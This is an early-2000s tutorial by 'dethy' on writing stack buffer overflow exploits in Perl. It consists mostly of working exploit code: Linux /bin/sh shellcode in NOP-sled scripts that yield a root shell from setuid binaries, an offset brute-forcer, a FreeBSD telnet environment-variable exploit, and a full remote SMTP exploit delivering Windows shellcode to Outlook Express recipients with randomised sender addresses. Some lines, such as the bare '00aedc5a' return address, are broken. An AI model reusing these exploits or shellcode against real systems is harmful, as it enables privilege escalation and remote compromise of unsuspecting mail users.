Stack Exploit Coding - A PERL perspective

Written by : dethy

Introduction

PERL stack buffer overflow exploits aren't as well explored as C exploits when it comes to munging the stack. This brief paper will outline ways PERL can be used to create a working exploit with greater ease than standard C based exploits. Afterall PERL was developed for data manipulation, why not put it to use ? ;)

Overview

Let's begin with a simple and common example.

-- vuln.c --
 #include <stdio.h> 
 int main(int argc, char **argv) {  
 char buffer[180];
 if(argc>1) 
 strcpy(buffer,argv[1]);
 printf("got data!\n"); 
}
-- end vuln.c --

The overflow is obvious. A direct copy without any boundary checks into 'buffer' allows an overflow to take form, and potentially overwrite the EIP memory address.

 [ dethy@fw ~ ]$ gcc -o vuln vuln.c
 [ dethy@fw ~ ]$ ./vuln A
 got data!

okay. Nothing great here. Let's increase our input data.

[dethy@fw ~ ]$ ./vuln `perl -e 'print "A"x184'` 
got data!
Segmentation fault(core dump)

Looks like we've overflowed the buffer, but have we overwritten the EIP to modify program execution later on?

It's important to remember that memory is a 4 byte address held in 1 byte char.

Example:

| 83 | -- 
| 84 | --  4 bytes of data store 1 memory address
| 85 | --
| 86 | --

| 87 |   --
| 88 |   -- another 4 bytes for the next address
| 89 |   --
| 90 |   --

Let's get back to the snapshot of the memory image we forced the program to dump.

[ dethy@fw ~ ]$ gdb vuln core --quiet
Core was generated by `./vuln AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAA'.
Program terminated with signal 11, Segmentation fault.
Reading symbols from /lib/libc.so.6...done.
Loaded symbols for /lib/libc.so.6
Reading symbols from /lib/ld-linux.so.2...done.
Loaded symbols for /lib/ld-linux.so.2
#0  0x40033a1e in __libc_start_main () from /lib/libc.so.6
(gdb) info reg
eax            0x400ff0d8       1074786520
ecx            0xbffff910       -1073743600
edx            0x1      1
ebx            0x400ffed4       1074790100
esp            0xbffff908       0xbffff908
ebp            0x41414141       0x41414141
esi            0x4000acb0       1073786032
edi            0xbffff954       -1073743532
eip            0x40033a1e       0x40033a1e
eflags         0x10292  66194
cs             0x23     35
ss             0x2b     43
ds             0x2b     43
es             0x2b     43
fs             0x2b     43
gs             0x2b     43

Important registers we're primarily concerned with:

As we can see, EIP didn't get overwritten but EBP did. Now we know the memory layout looks like this:

    __|__
   |     |
   | EBP | - 4 byte address
   |_____|
    __|__
   |     |
   | EIP | - next 4 byte address
   |_____|

so wisely we know if we add an extra 4 bytes of data to our input string ie ./vuln `perl -e 'print "A"x88'` we will completey overwrite the instruction pointer(eip).

[ dethy@fw ~ ]$ ./vuln `perl -e 'print "A"x88'`  
got data!
Segmentation fault (core dumped)

[ dethy@fw ~ ]$ gdb vuln core --quiet
Core was generated by `./vuln AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAA'.
Program terminated with signal 11, Segmentation fault.
Reading symbols from /lib/libc.so.6...done.
Loaded symbols for /lib/libc.so.6
Reading symbols from /lib/ld-linux.so.2...done.
Loaded symbols for /lib/ld-linux.so.2
#0  0x41414141 in ?? ()
(gdb) info reg 
eax            0xa      10
ecx            0x40014000       1073823744
edx            0x400fe660       1074783840
ebx            0x400ffed4       1074790100
esp            0xbffff910       0xbffff910
ebp            0x41414141       0x41414141
esi            0x4000acb0       1073786032
edi            0xbffff954       -1073743532
eip            0x41414141       0x41414141
eflags         0x10282  66178
cs             0x23     35
ss             0x2b     43
ds             0x2b     43
es             0x2b     43
fs             0x2b     43
gs             0x2b     43

Our prediction is correct. The 0x41 is the hex equivalent of "A", a complete overwrite was successful.

Our buffer looked like this:

        EIP
   ______|_______
  /    |    |    \
 187  188  189  190
  A     A    A    A    -> our input data
  41   41   41   41    -> hex address( 41414141 )

Now how do we create the exploit ?

First step is to take the ESP value, in this instance it was 0xbffff910. Create the shellcode to execute a /bin/sh shell, and fill the $buf with the length of the data we used to overwrite EIP, and $ret with the ESP value.

-- exp.pl --

 #!/usr/bin/perl
 $shellcode = "\x31\xc0\x31\xdb\xb0\x17\xcd\x80" .
  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" .
  "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" .
  "\x80\xe8\xdc\xff\xff\xff/bin/sh";

 $ret = 0xbffffaa0;
 $buf = 188;
 $egg = 2000;
 $nop = "\x90";
 $offset = 0; 

 if (@ARGV == 1) { $offset = $ARGV[0]; }

 $addr = pack('l', ($ret + $offset));
 for ($i = 0; $i < $buf; $i += 4) {
  $buffer .= $addr;
 }

 for ($i = 0; $i < ($egg - length($shellcode) - 100); $i++) {
  $buffer .= $nop;
 }

 $buffer .= $shellcode;

 exec("./vuln", $buffer,0);

-- end exp.pl --

 [ dethy@fw ~ ]$ perl exp.pl
 got data!
 Illegal instruction

Ouch. Looks like we're just off from getting that /bin/sh shell. Now, let's bring $offset into play to use as a range of where our shellcode may be stored in memory. Run the following script to obtain the correct offset required to bust a shell. ;)

 #!/usr/bin/perl
 for($i=-2000;$i<2000;$i++) {    
 print("trying offset: $i\n");
 system("ulimit -c 0;./exp.pl $i");            
 }   

 [ dethy@fw ~ ]$ perl brute.pl 
 trying offset: -2000
 got data!
 trying offset: -1999
 got data!
  ..
 trying offset: 100
 bash#

(of course if the program were suid it would drop us to root, for the purpose of this tutorial I made the vulnerable program setuid root).

So offset 100 is where our payload is. Let's add this to the initial exp.pl

 [ dethy@fw ~ ]$ id
 uid=511(dethy) gid=100(users) groups=100(users)
 [ dethy@fw ~ ]$ ./exp.pl 100
 got data!
 bash# id
 uid=0(root) gid=100(users) egid=0(root) groups=100(users)

bingo. As is displayed we found the /bin/sh address in memory.

Of careful not is to recognise that the above exploit made an $egg and filled the buffer containing NOPS + SHELLCODE + RET outside the vulnerable buffer. That means, we created the payload in another buffer, since the original may have been slightly too small for our needs.

Now for an example of an environment variable overflow, as opposed to command line input argument overflow.

-- vuln2.c --

#include <stdio.h>
 main() {
  char buffer[1024];
   if (getenv("USER") == NULL) {
   fprintf(stderr, "Oops!\n");  
   exit(1); 
   } 

 strcpy(buffer, (char *)getenv("USER"));
 printf("Environment variable USER is:\"%s\".\n", buffer);
 return 1;}

-- end vuln2.c --

an excessively long USER environment variable will be copied unchecked into the buffer which has a 1024 char limit. With this given knowledge let's bring some practically into play.

 [ dethy@fw ~ ]$ ./vuln2
 Environment variable USER is: "dethy".
 [ dethy@fw ~ ]$

Assumed:
1025 1026 1027 1028 would be the address of EBP
1029 1030 1031 1032 would be the EIP

So once against 1032 char string for the USER environment variable would overwrite EIP.

 [ dethy@fw ~ ]$ export USER=`perl -e 'print "A"x1032'`

 [ dethy@fw ~ ]$ ./vuln2
 Environment variable USER is:
 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".

Segmentation fault (core dumped)

 [ dethy@fw ~ ]$ gdb vuln2 core --quiet
 (no debugging symbols found)...Core was generated by `./vuln2'.
 Program terminated with signal 11, Segmentation fault.
 Reading symbols from /lib/libc.so.6...done.
 Reading symbols from /lib/ld-linux.so.2...done.
 #0  0x41414141 in ?? ()
 (gdb) info reg esp
 esp            0x7ffff8e0       0x7ffff8e0

the esp address will be the address to use in our exploit, so let's create it. The aformentioned exp.pl exploit was an example of making the payload outside the buffer (first demonstrated by the infamous aleph1). Now, since this vulnerable buffer is large enough to pad with our shellcode we will fill this buffer with our payload, inside the buffer itself.

-- exp2.pl --

 #!/usr/bin/perl
 $shellcode = "\x31\xc0\x31\xdb\xb0\x17\xcd\x80" .
	     "\xeb\x1f\x5e\x89\x76\x08\x31\xc0" .
	     "\x88\x46\x07\x89\x46\x0c\xb0\x0b" .
	     "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c" .
	     "\xcd\x80\x31\xdb\x89\xd8\x40\xcd" .
 	     "\x80\xe8\xdc\xff\xff\xff/bin/sh";

 $buf = 1032;
 $ret = 0x7ffff8e0;
 $nop = "\x90";
 $offset = -96; 		# worked for me 

 if (@ARGV == 1) { $offset = $ARGV[0]; }

 for ($i = 0; $i < ($buf - length($shellcode) - 100); $i++) {
  $buffer .= $nop;
 }

 $buffer .= $shellcode;
 $addr = pack('l', ($ret + $offset));
 for ($i += length($shellcode); $i < $buf; $i += 4) {
  $buffer .= $addr;
 }
 $ENV{'USER'} = $buffer; exec("./vuln2");

-- end exp2.pl --

Environment variable USER is:

"
   1À1Û°øÿøÿøÿøÿøÿøÿøÿøÿøÿøÿøÿøÿøÿøÿøÿøÿøÿøÿøÿøÿøÿ".

bash# 

Another important concept to remember is that offset guessing can be avoided by deleting all the values from the environment.

Example:

 foreach $key (keys %ENV) {
    delete $ENV{$key};
 }

Of course this scenario blooms in an environment overflow such as the getenv() overflow described above.

-- telnetex.pl --

 $egg = "\x90" x 1500;
 # FreeBSD x86 shellcode
 $egg .= "\xeb\x37\x5e\x31\xc0\x88\x46\xfa\x89\x46\xf5\x89\x36\x89\x76" .
  "\x04\x89\x76\x08\x83\x06\x10\x83\x46\x04\x18\x83\x46\x08\x1b" .
  "\x89\x46\x0c\x88\x46\x17\x88\x46\x1a\x88\x46\x1d\x50\x56\xff" .
  "\x36\xb0\x3b\x50\x90\x9a\x01\x01\x01\x01\x07\x07\xe8\xc4\xff" .
  "\xff\xff\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02" .
  "\x02\x02\x02/bin/sh.-c.sh";

 foreach $key (keys %ENV) {
    delete $ENV{$key};
 }

 for ($i = 0; $i < 100; $i++) { $buf .= "\x01\xda\xbf\xbf"; }

 $ENV{"DISPLAY"} = $buf;
 $ENV{"egg"} = $egg;
 system("/usr/bin/telnet localhost");

-- end telnetex.pl --

In the above example displays a different coding style. The $egg appends the NOPS (\x90) and shellcode via PERLs concatentation implementation ( .= ) The $buf is loaded backwards (how the system manually processes the address),

 \x01\xda\xbf\xbf = 0xbfbfda01

The DISPLAY variable is then stored with this value, and when telnet negotiaties client/server transactions the DISPLAY is run pointing to the $egg in memory, where our shellcode is stored.

Why create $egg at all, and append the payload to $buf?

In many instances the buffer we are overflowing does not hold enough space for us to load and store our shellcode in (local buffer overflows). To avoid this problem with small buffers, we create an $egg and set it as an environment variable. $egg is without size limitations thus can be as big or small as you want it to be for your shellcode storage. All that is required is to the point the $ret to the address of where the $egg is stored and the shellcode will be executed from there. Only a few bytes is required to store the $ret address in the buffer avoiding several problems aswell. ;)

The next Proof of Concept example was an exploit I created for UssrLabs that spawned a IE browser on the victims machine. The foundation of this exploit relies on MIME header overflow in OutLook Express 4.X and 98.

-- outoutlook.pl --
 #!/usr/bin/perl
 #
 # Arbitary shellcode injector over SMTP exploits Microsoft Outlook.
 # ./$0 -h <hostname>  -m <mail>
 # ./dieoutlook.pl -h hostname -m victim@address 
 #
 # By: dethy June 2000
 #
 use Getopt::Std;
 use Socket;
 getopt('h:m', \%args);   

 if(defined($args{h})){$serv=$args{h}}else{&usage;}
 if(defined($args{m})){$rcpt=$args{m}}else{&usage;}

 # this data created the overflow
 $spawn = "\x2b\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31" .
	"\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31" .
	"\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31" .
	"\x31\x31\x31\x31\x31\x31\x31\x31\x5a\xdc\xae\x20\x78\x0d\x0a";

 # Windows x86 shellcode
 $shellcode = "\xE8\x00\x00\x00\x00\x5D\x81\xED\x40\x10\x40\x00\x81\xC4\x00" .
 	 "\x03\x00\x00\xB8\x38\x10\x00\x01\x8B\x00\x89\x85\x0B\x11\x40\x00" .
 	 "\x8C\xC8\xA8\x04\x75\x08\x8B\x85\x1F\x11\x40\x00\xEB\x06\x8B\x85" .
	 "\x23\x11\x40\x00\x89\x85\x1F\x11\x40\x00\x8D\x8D\x42\x11\x40\x00" .
	 "\x51\x50\xFF\x95\x0B\x11\x40\x00\x89\x85\x0F\x11\x40\x00\x8D\x8D" .
	 "\x53\x11\x40\x00\x51\xFF\x95\x0F\x11\x40\x00\x8D\x8D\x34\x11\x40" .
	 "\x00\x51\x50\xFF\x95\x0B\x11\x40\x00\x89\x85\x13\x11\x40\x00\x8B" .
	 "\x85\x1F\x11\x40\x00\x8D\x8D\x27\x11\x40\x00\x51\x50\xFF\x95\x0B" .
	 "\x11\x40\x00\x89\x85\x17\x11\x40\x00\x8D\x85\x1B\x11\x40\x00\x50" .
	 "\x6A\x00\x6A\x00\x8D\x85\xE3\x10\x40\x00\x50\x6A\x00\x6A\x00\x8B" .
	 "\x85\x17\x11\x40\x00\xFF\xD0\xEB\xFE\x60\xE8\x00\x00\x00\x00\x5D" .
	 "\x81\xED\xE9\x10\x40\x00\x6A\x00\x6A\x00\x6A\x00\x8D\xB5\x5F\x11" .
	 "\x40\x00\x56\x6A\x00\x6A\x00\xFF\x95\x13\x11\x40\x00\x61\xC2\x10" .
	 "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" .
	 "\x00\x00\x00\x00\x00\x00\x00\xF0\x77\x00\x00\xF7\xBF\x43\x72\x65" .
	 "\x61\x74\x65\x54\x68\x72\x65\x61\x64\x00\x53\x68\x65\x6C\x6C\x45" .
	 "\x78\x65\x63\x75\x74\x65\x41\x00\x47\x65\x74\x4D\x6F\x64\x75\x6C" .
	 "\x65\x48\x61\x6E\x64\x6C\x65\x41\x00\x73\x68\x65\x6C\x6C\x33\x32" .
	 "\x2E\x64\x6C\x6C\x00\x77\x77\x77\x2E\x75\x73\x73\x72\x62\x61\x63" .
	 "\x6B\x2E\x63\x6F\x6D\x00";

 $ret = 00aedc5a;			# return address
 $nop = "\x90";              	 # x86 NOP
 $port = 25;				# default 25 SMTP port
 $buffsize = 1348;			# buffer size
 $buffer .= $nop x 945;			# load $buffer with 945 NOP then 									
$shellcode
 $buffer .= $shellcode;			# append shellcode to buffer
 $offset = (hex $ret);			# return hex string to corresponding 									
value
 $code = pack("l", $offset);	# signed long order
 while (length $buffer < $buffsize) { $buffer .= $code; }
 $buffer .= "\n\n";
 print "$code\n";

 # create random MAIL FROM field. format is: 
 [ alphanumeric ] @ [ characters ] . [ domain ]

 $max=(int rand 15);
 @a=('a'..'z', '1'..'10'); for (1..$max) { $str .= $a[rand @a] }
 @a=('a'..'z'); for (1..$max) { $host .= $a[rand @a] }
 @dom = ('.com', '.net', '.org');
 $rdom = $dom[ rand @dom ];
 $rmail = $str . "@" . $host . $dom;
 print "random address set to: $rmail\n";

 # random date method, format: Date: <day>, <int-day> <month> 2000 <time>

 @days = ('Mon', 'Tue', 'Wed', 'Thu', 'Fri', 'Sat', 'Sun');
 $rday = $days[ rand @days ];
 $rcal=(int rand(31));
 $rhour=(int rand(23)); if ($rhour < 10){ $rhour = "0".$rhour; }
 $rmin=(int rand(59)); if ($rmin < 10){ $rmin = "0".$rmin; }
 $rsec=(int rand(59)); if ($rsec < 10){ $rsec = "0".$rsec; }
 @months = ('Jan', 'Feb', 'Mar', 'Apr', 'May', 'Jun', 
            'Jul', 'Aug', 'Oct', 'Sep', 'Nov', 'Dec');
 $rmonth = $months[ rand @months ];
 $date = "Date: ".$rday.","; if ( $rcal >9 ){
   $date = $date."$rcal"." $rmonth"." 2000 ".$rhour.":".$rmin.":".$rsec," ";}
 else { $date = $date." $rcal"." $rmonth"." 2000 ".$rhour.":".$rmin.":".$rsec," ";}
 print "date set to: $date\n";

 $in_addr = (gethostbyname($serv))[4] || die("Error: $!\n");
 $paddr = sockaddr_in($port, $in_addr) || die ("Error: $!\n");
 $proto = getprotobyname('tcp') || die("Error: $!\n");

 socket(S, PF_INET, SOCK_STREAM, $proto) || die("Error: $!\n");
 connect(S, $paddr) || die("Error: $!\n");
 select(S); $| = 1; select(STDOUT);

 # begin our SMTP transaction
 print "now starting SMTP transaction\n";
 $res=<S>; print "$res\n";
 print "sending HELO\n";
 sleep 2;
 print S "HELO\r\n";
 $res=<S>; print "$res\n";
 print "sending MAIL FROM\n";
 sleep 2;
 print S "MAIL FROM:$rmail\r\n";
 $res=<S>; print "$res\n";
 print "sending RCPT\n";
 sleep 2;
 print S "RCPT TO:$rcpt\r\n";
 $res=<S>; print "$res\n";
 print "sending DATA\n";
 sleep 2;
 print S "DATA\r\n";
 $res=<S>; print "$res\n";
 print "sending escape characters\n";
 print S "$date";
 print S "$spawn";
 print "sending shellcode\n";
 print S "$shellcode\r\n\r\n\r\n";
 $res=<S>; print "$res\n";
 print S ".\r\n";
 print S "QUIT\r\n";
 print "shellcode spawn was successful\n";
 close(S);

 sub usage {die("\n\n./$0 -h <hostname> -m <mail>\n\n");}

-- end outoutlook.pl --

I hope by now you understand why PERL offers its data handling and flexibility a great deal better than C can and as a result allows easy exploitation to take place.

Hope you enjoy the ideas portrayed ;)


dethy [ dethy@synnergy.net | www.synnergy.net Synnergy Networks 1998-2001 ]